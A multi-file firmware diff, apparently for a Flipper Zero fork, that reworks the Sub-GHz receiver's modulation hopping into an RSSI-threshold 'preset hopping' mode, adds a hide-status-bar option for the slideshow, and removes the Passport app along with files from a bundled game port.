if(hopper_preset_count > 0) {
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
instance->setting, instance->preset_hopper_idx);
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
} else {
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
if(instance->preset_hopper_idx < preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
}
}
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
furi_assert(instance);
return instance->preset_hopper_state;
}
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
furi_assert(instance);
instance->preset_hopper_state = state;
if(state == SubGhzPresetHopperStateRunning) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
}
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
}
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
}
}
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
furi_assert(instance);
instance->preset_hopper_idx = index;
}
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {

View File

@@ -164,29 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
*/
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
/**
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
* Cycles through available presets at a fixed dwell time.
*
* @param instance Pointer to a SubGhzTxRx
*/
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
/**
* Set mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @param running true to enable, false to disable
*/
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running);
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
/**
* Get mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @return true if mod hopping is active
*/
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
/**
* Speaker on

View File

@@ -19,9 +19,9 @@ struct SubGhzTxRx {
bool is_database_loaded;
SubGhzHopperState hopper_state;
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
bool mod_hopper_running; // is mod hopping active
uint8_t preset_hopper_timeout;
size_t preset_hopper_idx;
SubGhzPresetHopperState preset_hopper_state;
SubGhzTxRxState txrx_state;
SubGhzSpeakerState speaker_state;

View File

@@ -29,6 +29,14 @@ typedef enum {
SubGhzHopperStateRSSITimeOut,
} SubGhzHopperState;
/** SubGhzPresetHopperState state */
typedef enum {
SubGhzPresetHopperStateOFF,
SubGhzPresetHopperStateRunning,
SubGhzPresetHopperStatePause,
SubGhzPresetHopperStateRSSITimeOut,
} SubGhzPresetHopperState;
/** SubGhzSpeakerState state */
typedef enum {
SubGhzSpeakerStateDisable,

View File

@@ -40,3 +40,8 @@ Version: 1
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -213,7 +213,12 @@ void subghz_scene_receiver_on_enter(void* context) {
} else {
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
}
subghz_txrx_mod_hopper_set_running(subghz->txrx, subghz->last_settings->enable_mod_hopping);
if(subghz->last_settings->enable_preset_hopping) {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
} else {
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
}
subghz_txrx_rx_start(subghz->txrx);
subghz_view_receiver_set_idx_menu(subghz->subghz_receiver, subghz->idx_menu_chosen);
@@ -242,6 +247,7 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
subghz_txrx_set_rx_callback(subghz->txrx, NULL, subghz);
if(subghz_rx_key_state_get(subghz) == SubGhzRxKeyStateAddKey) {
@@ -302,8 +308,8 @@ bool subghz_scene_receiver_on_event(void* context, SceneManagerEvent event) {
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
subghz_txrx_mod_hopper_update(subghz->txrx);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF) {
subghz_txrx_preset_hopper_update(subghz->txrx, subghz->last_settings->preset_hopping_threshold);
subghz_scene_receiver_update_statusbar(subghz);
}

View File

@@ -1,13 +1,14 @@
#include "../subghz_i.h"
#include <lib/toolbox/value_index.h>
#include <math.h>
#define TAG "SubGhzSceneReceiverConfig"
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexModHopping,
SubGhzSettingIndexHopping,
SubGhzSettingIndexPresetHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreReversRB2,
SubGhzSettingIndexIgnoreAlarms,
@@ -81,6 +82,36 @@ const float hopping_mode_value[HOPPING_MODE_COUNT] = {
-40.0f,
};
#define PRESET_HOPPING_MODE_COUNT 12
const char* const preset_hopping_mode_text[PRESET_HOPPING_MODE_COUNT] = {
"OFF",
"-90dBm",
"-85dBm",
"-80dBm",
"-75dBm",
"-70dBm",
"-65dBm",
"-60dBm",
"-55dBm",
"-50dBm",
"-45dBm",
"-40dBm",
};
const float preset_hopping_mode_value[PRESET_HOPPING_MODE_COUNT] = {
NAN,
-90.0f,
-85.0f,
-80.0f,
-75.0f,
-70.0f,
-65.0f,
-60.0f,
-55.0f,
-50.0f,
-45.0f,
-40.0f,
};
#define COMBO_BOX_COUNT 2
const uint32_t hopping_value[COMBO_BOX_COUNT] = {
@@ -153,6 +184,23 @@ uint8_t subghz_scene_receiver_config_next_preset(const char* preset_name, void*
return index;
}
uint8_t subghz_scene_receiver_config_preset_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
return 0;
} else {
variable_item_set_current_value_text(
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation),
" -----");
return value_index_float(
subghz->last_settings->preset_hopping_threshold,
preset_hopping_mode_value,
PRESET_HOPPING_MODE_COUNT);
}
}
uint8_t subghz_scene_receiver_config_hopper_value_index(void* context) {
furi_assert(context);
SubGhz* subghz = context;
@@ -213,19 +261,21 @@ static void subghz_scene_receiver_config_set_preset(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
//subghz->last_settings->preset = index;
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
if(subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateOFF) {
const char* preset_name = subghz_setting_get_preset_name(setting, index);
variable_item_set_current_value_text(item, preset_name);
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
uint8_t* preset_data = subghz_setting_get_preset_data(setting, index);
size_t preset_data_size = subghz_setting_get_preset_data_size(setting, index);
//Edit TX power, if necessary.
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_tx_power(preset_data, preset_data_size, subghz->tx_power);
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
subghz_txrx_set_preset(
subghz->txrx, preset_name, preset.frequency, preset_data, preset_data_size);
subghz->last_settings->preset_index = index;
} else {
variable_item_set_current_value_index(item, subghz->last_settings->preset_index);
}
}
static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
@@ -274,15 +324,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
subghz_txrx_hopper_set_state(
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
VariableItem* preset_hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
variable_item_set_locked(
preset_hopping_item,
index != 0,
"Turn off\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_mod_hopping(VariableItem* item) {
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, combobox_text[index]);
bool enabled = index == 1;
subghz->last_settings->enable_mod_hopping = enabled;
subghz_txrx_mod_hopper_set_running(subghz->txrx, enabled);
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
VariableItem* preset_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
if(index == 0) {
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
if(current_preset_index >= 0) {
subghz->last_settings->preset_index = current_preset_index;
}
variable_item_set_current_value_text(preset_item, current_preset_name);
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = false;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
} else {
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
if(was_running) {
subghz_txrx_preset_hopper_pause(subghz->txrx);
}
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
variable_item_set_current_value_text(preset_item, " -----");
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = true;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
}
VariableItem* hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
variable_item_set_locked(
hopping_item,
index != 0,
"Turn off\nPreset\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
@@ -385,8 +477,9 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
subghz->last_settings->enable_hopping = hopping_value[default_index];
subghz->last_settings->enable_mod_hopping = false;
subghz_txrx_mod_hopper_set_running(subghz->txrx, false);
subghz->last_settings->enable_preset_hopping = false;
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
variable_item_list_reset(subghz->variable_item_list);
@@ -451,16 +544,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
// Mod Hopping
variable_item_set_locked(
item,
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
"Turn off\nPreset\nHopping\nfirst!");
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
item = variable_item_list_add(
subghz->variable_item_list,
"Mod Hopping",
COMBO_BOX_COUNT,
subghz_scene_receiver_config_set_mod_hopping,
"Preset Hopping",
PRESET_HOPPING_MODE_COUNT,
subghz_scene_receiver_config_set_preset_hopping,
subghz);
value_index = subghz->last_settings->enable_mod_hopping ? 1 : 0;
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, combobox_text[value_index]);
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
variable_item_set_locked(
item,
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
"Turn off\nHopping\nfirst!");
}
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=

View File

@@ -13,7 +13,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING "ModHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
@@ -46,6 +47,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->filter = SubGhzProtocolFlag_Decodable;
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
instance->hopping_threshold = -90.0f;
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -101,11 +104,23 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
}
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
instance->enable_preset_hopping = false;
flipper_format_rewind(fff_data_file);
}
float temp_preset_threshold = 0;
if(!flipper_format_read_float(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&temp_preset_threshold,
1)) {
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
flipper_format_rewind(fff_data_file);
} else {
instance->preset_hopping_threshold = temp_preset_threshold;
}
if(!flipper_format_read_uint32(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER,
@@ -223,8 +238,15 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
}
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
break;
}
if(!flipper_format_write_float(
file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&instance->preset_hopping_threshold,
1)) {
break;
}

View File

@@ -12,20 +12,22 @@
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
typedef struct {
uint32_t frequency;
uint32_t preset_index; // AKA Modulation
uint32_t preset_index;
uint32_t frequency_analyzer_feedback_level;
float frequency_analyzer_trigger;
bool protocol_file_names;
bool enable_hopping;
bool enable_mod_hopping;
uint32_t ignore_filter;
uint32_t filter;
float rssi;
bool delete_old_signals;
float hopping_threshold;
bool enable_preset_hopping;
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
} SubGhzLastSettings;

View File

@@ -1,4 +1,5 @@
#include <storage/storage.h>
#include <gui/gui.h>
#include "../desktop_i.h"
#include "../views/desktop_view_slideshow.h"
@@ -14,6 +15,7 @@ void desktop_scene_slideshow_on_enter(void* context) {
Desktop* desktop = (Desktop*)context;
DesktopSlideshowView* slideshow_view = desktop->slideshow_view;
gui_set_hide_status_bar(desktop->gui, true);
desktop_view_slideshow_set_callback(slideshow_view, desktop_scene_slideshow_callback, desktop);
view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdSlideshow);
@@ -46,5 +48,6 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
void desktop_scene_slideshow_on_exit(void* context) {
Desktop* desktop = context;
gui_set_hide_status_bar(desktop->gui, false);
storage_common_remove(desktop->storage, SLIDESHOW_FS_PATH);
}

View File

@@ -251,16 +251,20 @@ static void gui_redraw(Gui* gui) {
if(gui_is_lockdown(gui)) {
gui_redraw_desktop(gui);
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
if(!gui->hide_status_bar) {
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
}
} else {
if(!gui_redraw_fs(gui)) {
if(!gui_redraw_window(gui)) {
gui_redraw_desktop(gui);
}
gui_redraw_status_bar(gui, false);
if(!gui->hide_status_bar) {
gui_redraw_status_bar(gui, false);
}
}
}
@@ -512,6 +516,16 @@ bool gui_is_lockdown(const Gui* gui) {
return gui->lockdown && !gui->lockdown_inhibit;
}
void gui_set_hide_status_bar(Gui* gui, bool hide) {
furi_check(gui);
gui_lock(gui);
gui->hide_status_bar = hide;
gui_unlock(gui);
gui_update(gui);
}
Canvas* gui_direct_draw_acquire(Gui* gui) {
furi_check(gui);

View File

@@ -127,6 +127,16 @@ void gui_set_lockdown_inhibit(Gui* gui, bool inhibit);
*/
bool gui_is_lockdown(const Gui* gui);
/** Set hide status bar mode
*
* When enabled, the status bar is not drawn on top of the desktop layer.
* Used by the slideshow to show fullscreen content without the status bar overlay.
*
* @param gui Gui instance
* @param hide bool, true to hide status bar
*/
void gui_set_hide_status_bar(Gui* gui, bool hide);
/** Acquire Direct Draw lock and get Canvas instance
*
* This method return Canvas instance for use in monopoly mode. Direct draw lock

View File

@@ -53,6 +53,7 @@ struct Gui {
bool lockdown;
bool lockdown_inhibit;
bool direct_draw;
bool hide_status_bar;
ViewPortArray_t layers[GuiLayerMAX];
Canvas* canvas;

View File

@@ -3,7 +3,6 @@ App(
name="Basic settings apps bundle",
apptype=FlipperAppType.METAPACKAGE,
provides=[
"passport",
"system_settings",
"clock_settings",
"input_settings",

View File

@@ -1,15 +0,0 @@
App(
appid="passport",
name="Passport",
apptype=FlipperAppType.EXTSETTINGS,
entry_point="passport_app",
cdefines=["APP_PASSPORT"],
requires=[
"gui",
"dolphin",
],
stack_size=1 * 1024,
order=80,
fap_libs=["assets"],
fap_category="assets",
)

View File

@@ -1,112 +0,0 @@
#include <furi.h>
#include <furi_hal_version.h>
#include <gui/gui.h>
#include <dolphin/dolphin.h>
#include <dolphin/helpers/dolphin_state.h>
#include <assets_icons.h>
#define MOODS_TOTAL 3
#define BUTTHURT_MAX 3
static const Icon* const portrait_happy[BUTTHURT_MAX] = {
&I_passport_happy1_46x49,
&I_passport_happy2_46x49,
&I_passport_happy3_46x49};
static const Icon* const portrait_ok[BUTTHURT_MAX] = {
&I_passport_okay1_46x49,
&I_passport_okay2_46x49,
&I_passport_okay3_46x49};
static const Icon* const portrait_bad[BUTTHURT_MAX] = {
&I_passport_bad1_46x49,
&I_passport_bad2_46x49,
&I_passport_bad3_46x49};
static const Icon* const* portraits[MOODS_TOTAL] = {portrait_happy, portrait_ok, portrait_bad};
static void input_callback(InputEvent* input, void* ctx) {
FuriSemaphore* semaphore = ctx;
if((input->type == InputTypeShort) && (input->key == InputKeyBack)) {
furi_semaphore_release(semaphore);
}
}
static void render_callback(Canvas* canvas, void* ctx) {
DolphinStats* stats = ctx;
char level_str[20];
char mood_str[32];
uint8_t mood = 0;
if(stats->butthurt <= 4) {
mood = 0;
snprintf(mood_str, 20, "Mood: Happy");
} else if(stats->butthurt <= 9) {
mood = 1;
snprintf(mood_str, 20, "Mood: Ok");
} else {
mood = 2;
snprintf(mood_str, 20, "Mood: Angry");
}
uint32_t xp_progress = 0;
uint32_t xp_to_levelup = dolphin_state_xp_to_levelup(stats->icounter);
uint32_t xp_for_current_level =
xp_to_levelup + dolphin_state_xp_above_last_levelup(stats->icounter);
if(stats->level == 3) {
xp_progress = 0;
} else {
xp_progress = xp_to_levelup * 64 / xp_for_current_level;
}
// multipass
canvas_draw_icon(canvas, 0, 0, &I_passport_left_6x46);
canvas_draw_icon(canvas, 0, 46, &I_passport_bottom_128x18);
canvas_draw_line(canvas, 6, 0, 125, 0);
canvas_draw_line(canvas, 127, 2, 127, 47);
canvas_draw_dot(canvas, 126, 1);
// portrait
furi_assert((stats->level > 0) && (stats->level <= 3));
canvas_draw_icon(canvas, 9, 5, portraits[mood][stats->level - 1]);
canvas_draw_line(canvas, 58, 16, 123, 16);
canvas_draw_line(canvas, 58, 30, 123, 30);
canvas_draw_line(canvas, 58, 44, 123, 44);
const char* my_name = furi_hal_version_get_name_ptr();
snprintf(level_str, 20, "Level: %hu", stats->level);
canvas_draw_str(canvas, 58, 12, my_name ? my_name : "Unknown");
canvas_draw_str(canvas, 58, 26, mood_str);
canvas_draw_str(canvas, 58, 40, level_str);
canvas_set_color(canvas, ColorWhite);
canvas_draw_box(canvas, 123 - xp_progress, 47, xp_progress + 1, 6);
canvas_set_color(canvas, ColorBlack);
canvas_draw_line(canvas, 123, 47, 123, 52);
}
int32_t passport_app(void* p) {
UNUSED(p);
FuriSemaphore* semaphore = furi_semaphore_alloc(1, 0);
ViewPort* view_port = view_port_alloc();
Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN);
DolphinStats stats = dolphin_stats(dolphin);
furi_record_close(RECORD_DOLPHIN);
view_port_draw_callback_set(view_port, render_callback, &stats);
view_port_input_callback_set(view_port, input_callback, semaphore);
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
view_port_update(view_port);
furi_check(furi_semaphore_acquire(semaphore, FuriWaitForever) == FuriStatusOk);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_record_close(RECORD_GUI);
furi_semaphore_free(semaphore);
return 0;
}

View File

@@ -1,108 +0,0 @@
name: FAP Build & Auto Release
on:
push:
tags:
- 'v*'
permissions:
contents: write
concurrency:
group: auto-release-${{ github.ref }}
cancel-in-progress: false
jobs:
build-and-release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
repository: flipperdevices/flipperzero-firmware
ref: dev
path: firmware
submodules: recursive
- uses: actions/checkout@v4
with:
path: firmware/applications_user/app
fetch-depth: 0
submodules: recursive
- id: manifest
shell: bash
run: |
set -euo pipefail
MANIFEST_PATH="firmware/applications_user/app/application.fam"
if [ ! -f "$MANIFEST_PATH" ]; then
echo "application.fam not found in firmware/applications_user/app/" >&2
exit 1
fi
mapfile -t APP_IDS < <(sed -n 's/^[[:space:]]*appid="\([^"]\+\)".*/\1/p' "$MANIFEST_PATH")
if [ "${#APP_IDS[@]}" -eq 0 ]; then
echo "No appid entries found in $MANIFEST_PATH" >&2
exit 1
fi
BUILD_TARGETS=()
for APP_ID in "${APP_IDS[@]}"; do
BUILD_TARGETS+=("fap_${APP_ID}")
done
{
printf 'build_targets=%s\n' "${BUILD_TARGETS[*]}"
echo 'app_ids<<EOF'
printf '%s\n' "${APP_IDS[@]}"
echo 'EOF'
} >> "$GITHUB_OUTPUT"
- shell: bash
working-directory: firmware
run: |
set -euo pipefail
./fbt ${{ steps.manifest.outputs.build_targets }}
- shell: bash
run: |
set -euo pipefail
mkdir -p artifacts
while IFS= read -r APP_ID; do
[ -n "$APP_ID" ] || continue
find firmware/build -type f -name "${APP_ID}.fap" -exec cp {} artifacts/ \;
done <<'EOF'
${{ steps.manifest.outputs.app_ids }}
EOF
if ! find artifacts -maxdepth 1 -type f -name '*.fap' | grep -q .; then
echo "No FAP artifacts were collected" >&2
exit 1
fi
ls -l artifacts
- uses: actions/upload-artifact@v4
with:
name: ${{ github.event.repository.name }}-${{ github.ref_name }}
path: artifacts/*.fap
- env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GH_REPO: ${{ github.repository }}
shell: bash
run: |
set -euo pipefail
TAG="${{ github.ref_name }}"
if gh release view "$TAG" --repo "$GH_REPO" >/dev/null 2>&1; then
echo "Release already exists"
exit 0
fi
gh release create "$TAG" \
--repo "$GH_REPO" \
--title "$TAG" \
--notes "Automated build from ${{ github.sha }}" \
artifacts/*.fap

View File

@@ -1,4 +0,0 @@
libraries/
.DS_Store
.vscode
venv

View File

@@ -1,3 +0,0 @@
[submodule "lib"]
path = lib
url = https://github.com/apfxtech/arduboylib.git

View File

@@ -1,23 +0,0 @@
**Your Quest**
Escape the treacherous dungeons, battle fierce enemies, and rescue the imprisoned princess in this action-packed platformer brought to you by Press-Play-On-Tape.
**Features**
- **13 challenging levels** — Navigate through an intricate palace filled with deadly traps and hidden secrets
- **Dynamic combat system** — Find your sword and duel against guards, skeletons, and shadowy figures
- **Acrobatic gameplay** — Run, jump, climb, and perform daring acrobatic moves to overcome obstacles
- **Interactive environment** — Trigger floor switches, avoid falling tiles, and escape collapsing platforms
- **Mysterious potions** — Drink carefully! Some restore life, others may cost you dearly
- **Save system** — Save your progress at any time via the in-game menu
- **Easter egg** — Discover the hidden arcade game within the palace
**Enemies Await**
Face off against palace guards, undead skeletons, and mysterious shadowy figures that lurk in the forbidden corridors.
Can you master all 13 levels and free the princess?
Concept Jordan Mechner
Code @filmote @Mr.Blinky @acedent
Graphics @clintonium-119 @vampirics
Music @raspberrybrain
Ported @apfxtech

View File

@@ -1,2 +0,0 @@
v1.0:
app release

View File

@@ -1,106 +0,0 @@
FlipperPrinceOfArabia License and Distribution Terms
Copyright (c) 2026 Apfxtech
This repository contains a Flipper Zero port related to the project
"Press-Play-On-Tape/PrinceOfArabia". Not all material in this repository is
distributed under the same terms.
Read this entire file before using, modifying, distributing, or redistributing
this repository or any binary built from it.
1. Definitions
"Original Contributions" means code, build glue, Flipper Zero integration,
repository metadata, packaging, documentation, and other material authored by
Apfxtech to the extent Apfxtech owns the relevant copyright.
"Upstream-Derived Materials" means any code, assets, level data, music, images,
text, gameplay data, or other material copied from, adapted from, based on, or
otherwise derived from PrinceOfArabia or other non-Apfxtech sources.
"Third-Party Components" means material in this repository that is provided
under its own separate license or notice.
